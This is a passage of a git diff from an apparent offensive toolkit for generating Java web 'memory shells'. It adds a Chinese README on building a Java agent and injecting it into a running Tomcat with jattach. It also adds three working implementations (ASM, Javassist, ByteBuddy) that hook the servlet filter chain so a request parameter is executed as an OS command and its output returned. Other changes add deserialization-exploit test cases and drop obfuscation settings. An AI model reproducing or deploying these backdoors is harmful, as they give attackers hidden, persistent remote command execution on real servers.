EBI2CgM2CRwdof93FQoQBqAAFBkGFQiECAEVCRAQepFUpwA5FQqaACIZBhUIhAgBFQkQEHqRVBkGFQiECAEVCRAIepFUpwAVFQoQDKAADrsFW1kTBWC3BV+/FQgZBr6fAB4VCLwIOgsZBgMZCwMZBr4VCLgEjLgClBkLOgYZBrAAAAACACQAAADKADIAAAU9AAcFPgALBUAAEAVBABIFQgAVBUMAGAVEAB0FRQAnBUYAKgVHADQFSAA3BUsAQwVMAEsFTgBaBU8AYQVQAGcFUQBtBVIAeAVRAIQFVACLBVUAjgVWAJEFVwCVBVgAmAVZAKQFWgCvBVsAtgVcANQFXQDfBWIA6QVjAOwFZADxBWUA/wVmAQ0FZwEYBWgBHAVpAR8FWAEkBW0BKwVuATkFbwFBBXABTwVxAV0FcgFnBXQBcgV2AXoFdwGABXgBkQV5AZUFewAlAAAAjgAOAAABmAViAKkAAAAQAYgFRQAPAAEAEgGGBUwA/AACABUBgwVOAPwAAwAYAYAFYwD8AAQAHQF7APsA/AAFAFoBPgVIAA8ABgBhATcFSwVkAAcAagAaAeAA/AAIAI4BCgVPAPwACACRAQcFUwD8AAkAlQEDBWUA/AAKAKQAewA7APwACwGAABUElAAPAAsAAQVmAAAAAgVn"); GenerateResult generateResult = GenerateResult.builder() .injectorBytes(bytes1).build(); String pack = packer.pack(generateResult); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java index 7f872dcb..7ec5fb9f 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertEquals; @@ -21,6 +21,6 @@ void compress() { GenerateResult generateResult = new GenerateResult(); generateResult.setInjectorBytes("hello world".getBytes()); String pack = new GzipBase64Packer().pack(generateResult); - assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack)))); + assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack)))); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java index a1e6be92..35743647 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java @@ -6,9 +6,6 @@ import com.reajason.javaweb.memshell.shelltool.TestFilterChain; import com.reajason.javaweb.util.ClassUtils; import lombok.SneakyThrows; -import me.n1ar4.clazz.obfuscator.api.ClassObf; -import me.n1ar4.clazz.obfuscator.api.Result; -import me.n1ar4.clazz.obfuscator.config.BaseConfig; import org.apache.commons.io.IOUtils; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; @@ -65,15 +62,6 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, }; cr.accept(cv, ClassReader.EXPAND_FRAMES); byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm"); - BaseConfig config = BaseConfig.Default(); - config.setIgnorePublic(true); - config.setEnableMethodName(false); - config.setEnableParamName(false); - config.setEnableAES(false); - config.setEnableAdvanceString(false); - ClassObf classObf = new ClassObf(config); - Result run = classObf.run(bytes2); - bytes2 = run.getData(); IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class"))); Class clazz = ClassUtils.defineClass(bytes2); instance = spy(clazz.newInstance()); diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 01ec0eca..5f160502 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -1,13 +1,9 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - -group = 'com.reajason.javaweb' +group = 'io.github.reajason' version = rootProject.version dependencies { testImplementation project(":vul:vul-webapp") - testImplementation project(":common") + testImplementation project(":memshell-party-common") testImplementation project(":tools:behinder") testImplementation project(":tools:godzilla") testImplementation project(":tools:suo5") @@ -18,11 +14,9 @@ dependencies { testImplementation 'javax.servlet:javax.servlet-api' testImplementation 'javax.websocket:javax.websocket-api' - testImplementation 'jakarta.servlet:jakarta.servlet-api' testImplementation 'org.java-websocket:Java-WebSocket' testImplementation 'com.squareup.okhttp3:okhttp' - testImplementation 'com.alibaba.fastjson2:fastjson2' testImplementation 'org.slf4j:slf4j-simple:2.0.16' testImplementation platform('org.junit:junit-bom') diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 179b7287..04cb9726 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -232,16 +232,8 @@ public static GenerateResult generate(String urlPattern, Server server, String s .targetJreVersion(targetJdkVersion) .debug(true) .shrink(true) - .obfuscate(true) .build(); - if (ShellTool.NeoreGeorg.equals(shellTool)) { - shellConfig.setObfuscate(false); - } - if (Server.Jetty.equals(server) && ShellType.FILTER.equals(shellType) && ShellTool.Suo5.equals(shellTool)) { - shellConfig.setObfuscate(false); - } - ShellToolConfig shellToolConfig = null; String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); switch (shellTool) { @@ -332,6 +324,8 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content); case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content); case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content); + case JavaCommonsCollections3 -> VulTool.postData(url + "/java_deserialize/cc321", content); + case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content); case HessianDeserialize -> VulTool.postData(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content); case Base64 -> VulTool.postData(url + "/b64", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java index 9a799f64..f41e6892 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -47,6 +47,8 @@ static Stream casesProvider() { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections3), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize) ); diff --git a/memshell-agent/README.md b/memshell-agent/README.md new file mode 100644 index 00000000..9d45b518 --- /dev/null +++ b/memshell-agent/README.md @@ -0,0 +1,65 @@ +## Agent 内存马 + +### 实现原理 + +JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态,或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`,可以添加自定义的 +Transformer,来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)。 + +JavaAgent 有两种入口: + +1. 静态注入,MANIFEST 定义 Premain-Class 属性指定实现类,并且类中实现了 + `public static void premain(String args, Instrumentation inst)` 方法,在 Java 程序运行参数中添加 + `java -javaanget:/path/to/agent.jar -jar app.jar`,应用启动时,就会调用到 `premain` 方法执行字节码增强相关代码逻辑。 +2. 动态注入,MANIFEST 定义 Agent-Class 属性指定实现类,并且类中实现了 + `public static void agentmain(String args, Instrumentation inst)` 方法,在 Java 程序运行过程中,通过 attach 机制进行 + attach 时,会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。 + +当一个 jar 包中 MANIFEST 定义如下时: + +```text +Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer +Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer +Can-Redefine-Classes: true +Can-Retransform-Classes: true +Can-Set-Native-Method-Prefix: true +``` + +那么这个 Java Agent 既支持静态注入,也支持动态注入。 + +### 实现方式 + +> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式 + +1. 基于 + ASM,[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java) +2. 基于 + Javassist,[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java) +3. 基于 + ByteBuddy,[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java) + +### 如何使用 + +可以直接 IDEA 中的 Gradle,里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。 + +```bash +## 进入项目根目录 +cd MemShellParty + +## MacOs or Linux +./gradlew :memshell-agent:jar + +## Windows +gradlew.bat :memshell-agent:jar +``` + +构建结束,会在每个模块 build/libs/ 下生成 Jar 包,其中带 all 的为我们所需要用的包,例如: + +- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar +- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar +- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar + +下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。 + +1. 启动你需要注入的 Tomcat +2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`,注意,所有路径都使用绝对路径,不要使用相对路径 +3. 访问 `http://localhost:8080/app/?paramName=id` ,查看是否成功 \ No newline at end of file diff --git a/memshell-agent/memshell-agent-asm/build.gradle b/memshell-agent/memshell-agent-asm/build.gradle index df0d3a1e..90f0d23c 100644 --- a/memshell-agent/memshell-agent-asm/build.gradle +++ b/memshell-agent/memshell-agent-asm/build.gradle @@ -6,6 +6,10 @@ plugins { group = 'com.reajason.javaweb' version = '1.0.0' +repositories { + mavenCentral() +} + java { toolchain { languageVersion = JavaLanguageVersion.of(8) @@ -16,7 +20,6 @@ java { dependencies { implementation 'org.ow2.asm:asm-commons:9.7.1' - implementation 'javax.servlet:javax.servlet-api:3.1.0' } jar { @@ -27,4 +30,6 @@ jar { attributes 'Can-Retransform-Classes': true attributes 'Can-Set-Native-Method-Prefix': true } -} \ No newline at end of file +} + +jar.finalizedBy shadowJar \ No newline at end of file diff --git a/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java b/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java index 827050fe..60ff9d84 100644 --- a/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java +++ b/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java @@ -4,7 +4,7 @@ import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; -import java.lang.reflect.Method; +import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; /** @@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer { private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if ("doFilter".equals(name) && - "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) { - return new DoFilterMethodVisitor(mv); - } - return mv; + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if ("doFilter".equals(name) && + "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) { + return new DoFilterMethodVisitor(mv); + } + return mv; + } + }; + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static void premain(String args, Instrumentation inst) { + inst.addTransformer(new CommandFilterChainTransformer(), true); + } + + public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException { + inst.addTransformer(new CommandFilterChainTransformer(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); } - }; + } } private static class DoFilterMethodVisitor extends MethodVisitor { @@ -178,32 +210,4 @@ public void visitCode() { } } - @Override - public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); - Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader"); - getClassLoader.setAccessible(true); - System.out.println(getClassLoader.invoke(cw)); - ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static void premain(String args, Instrumentation inst) { - inst.addTransformer(new CommandFilterChainTransformer(), true); - } - - public static void agentmain(String args, Instrumentation inst) { - System.out.println(DoFilterMethodVisitor.class.getClassLoader()); - inst.addTransformer(new CommandFilterChainTransformer(), true); - } } \ No newline at end of file diff --git a/memshell-agent/memshell-agent-bytebuddy/build.gradle b/memshell-agent/memshell-agent-bytebuddy/build.gradle index 1d470d51..5f88a86b 100644 --- a/memshell-agent/memshell-agent-bytebuddy/build.gradle +++ b/memshell-agent/memshell-agent-bytebuddy/build.gradle @@ -1,16 +1,31 @@ plugins { id 'java' + id 'com.github.johnrengelman.shadow' version '8.1.1' } group = 'com.reajason.javaweb' version = '1.0.0' +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 +} dependencies { - testImplementation platform('org.junit:junit-bom:5.10.0') - testImplementation 'org.junit.jupiter:junit-jupiter' + implementation 'net.bytebuddy:byte-buddy:1.17.5' +} + +jar { + manifest { + attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Can-Redefine-Classes': true + attributes 'Can-Retransform-Classes': true + attributes 'Can-Set-Native-Method-Prefix': true + } } -test { - useJUnitPlatform() -} \ No newline at end of file +jar.finalizedBy shadowJar \ No newline at end of file diff --git a/memshell-agent/memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java b/memshell-agent/memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java new file mode 100644 index 00000000..7c874cb6 --- /dev/null +++ b/memshell-agent/memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.memshell.agent; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/4/2 + */ +public class CommandFilterChainTransformer implements AgentBuilder.Transformer { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response + ) { + String paramName = "paramName"; + try { + String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class,即意为不再执行目标方法自带的代码,直接返回。 + } + } catch (Exception ignored) { + } + return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class,意为继续执行目标方法自带的代码。 + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) + .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) + .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("org.apache.catalina.core.ApplicationFilterChain")) + .transform(new CommandFilterChainTransformer()) + .installOn(inst); + } +} diff --git a/memshell-agent/memshell-agent-javassist/build.gradle b/memshell-agent/memshell-agent-javassist/build.gradle index d5eaeef3..896d0c3d 100644 --- a/memshell-agent/memshell-agent-javassist/build.gradle +++ b/memshell-agent/memshell-agent-javassist/build.gradle @@ -1,15 +1,31 @@ plugins { id 'java' + id 'com.github.johnrengelman.shadow' version '8.1.1' } group = 'com.reajason.javaweb' version = '1.0.0' +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 +} + dependencies { - testImplementation platform('org.junit:junit-bom:5.10.0') - testImplementation 'org.junit.jupiter:junit-jupiter' + implementation 'org.javassist:javassist:3.30.2-GA' +} + +jar { + manifest { + attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Can-Redefine-Classes': true + attributes 'Can-Retransform-Classes': true + attributes 'Can-Set-Native-Method-Prefix': true + } } -test { - useJUnitPlatform() -} \ No newline at end of file +jar.finalizedBy shadowJar \ No newline at end of file diff --git a/memshell-agent/memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java b/memshell-agent/memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java new file mode 100644 index 00000000..5b2c5053 --- /dev/null +++ b/memshell-agent/memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.memshell.agent; + +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.io.ByteArrayInputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +public class CommandFilterChainTransformer implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; + + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new javassist.LoaderClassPath(loader)); + + CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true); + CtMethod doFilter = cc.getDeclaredMethod("doFilter"); + + String code = + "String paramName = \"paramName\";" + + "try {" + + " String cmd = $1.getParameter(paramName);" + + " if (cmd != null) {" + + " Process exec = Runtime.getRuntime().exec(cmd);" + + " java.io.InputStream inputStream = exec.getInputStream();" + + " byte[] buf = new byte[8192];" + + " int length;" + + " while ((length = inputStream.read(buf)) != -1) {" + + " $2.getOutputStream().write(buf, 0, length);" + + " }" + + " return;" + + " }" + + "} catch (Exception ignored) {}"; + + doFilter.insertBefore(code); + byte[] transformedBytes = cc.toBytecode(); + cc.detach(); + return transformedBytes; + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static void premain(String args, Instrumentation inst) { + inst.addTransformer(new CommandFilterChainTransformer(), true); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + inst.addTransformer(new CommandFilterChainTransformer(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + } +} \ No newline at end of file diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle index 5cfacb7f..f29a56fc 100644 --- a/memshell-java8/build.gradle +++ b/memshell-java8/build.gradle @@ -1,4 +1,5 @@ -group = 'com.reajason.javaweb' +group = 'io.github.reajason' +description = "Normal Java MemShell for Java8" version = rootProject.version java { diff --git a/bom/build.gradle b/memshell-party-bom/build.gradle similarity index 62% rename from bom/build.gradle rename to memshell-party-bom/build.gradle index fe96df6e..52608189 100644 --- a/bom/build.gradle +++ b/memshell-party-bom/build.gradle @@ -2,11 +2,14 @@ plugins { id 'java-platform' } +group = "io.github.reajason" +description = "This Bill of Materials POM can be used to ease dependency management when referencing multiple MemShellParty artifacts using Gradle or Maven." +version = rootProject.version + dependencies { constraints { - api 'net.bytebuddy:byte-buddy:1.+' + api 'net.bytebuddy:byte-buddy:1.17.5' api 'org.ow2.asm:asm-commons:9.7.1' - api 'com.github.jar-analyzer:class-obf:1.5.0' api 'javax.servlet:javax.servlet-api:3.0.1' api 'jakarta.servlet:jakarta.servlet-api:6.0.0' @@ -16,16 +19,17 @@ dependencies { api 'org.springframework:spring-webflux:5.3.24' api 'io.projectreactor.netty:reactor-netty-core:1.1.25' - api 'commons-io:commons-io:2.+' - api 'org.apache.commons:commons-lang3:3.+' - api 'commons-codec:commons-codec:1.+' - api 'ch.qos.logback:logback-classic:1.+' + api 'commons-io:commons-io:2.18.0' + api 'org.apache.commons:commons-lang3:3.17.0' + api 'commons-codec:commons-codec:1.18.0' + api 'ch.qos.logback:logback-classic:1.5.18' api 'org.apache.bcel:bcel:5.2' api 'org.java-websocket:Java-WebSocket:1.5.7' - api 'com.squareup.okhttp3:okhttp:4.+' + api 'com.squareup.okhttp3:okhttp:4.12.0' api 'com.alibaba.fastjson2:fastjson2:2.0.53' + api 'com.fasterxml.jackson.core:jackson-databind:2.18.3' api 'org.jetbrains:annotations:26.0.1' @@ -36,4 +40,4 @@ dependencies { api 'org.testcontainers:testcontainers:1.20.5' api 'org.testcontainers:junit-jupiter:1.20.5' } -} +} \ No newline at end of file diff --git a/common/build.gradle b/memshell-party-common/build.gradle similarity index 88% rename from common/build.gradle rename to memshell-party-common/build.gradle index f5de88d2..657b56b2 100644 --- a/common/build.gradle +++ b/memshell-party-common/build.gradle @@ -1,8 +1,5 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - -group = 'com.reajason.javaweb' +group = 'io.github.reajason' +description = "Common Utilities for MemShellParty" version = rootProject.version java { diff --git a/common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java b/memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java diff --git a/common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java diff --git a/common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java b/memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java diff --git a/common/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassUtils.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/util/ClassUtils.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassUtils.java diff --git 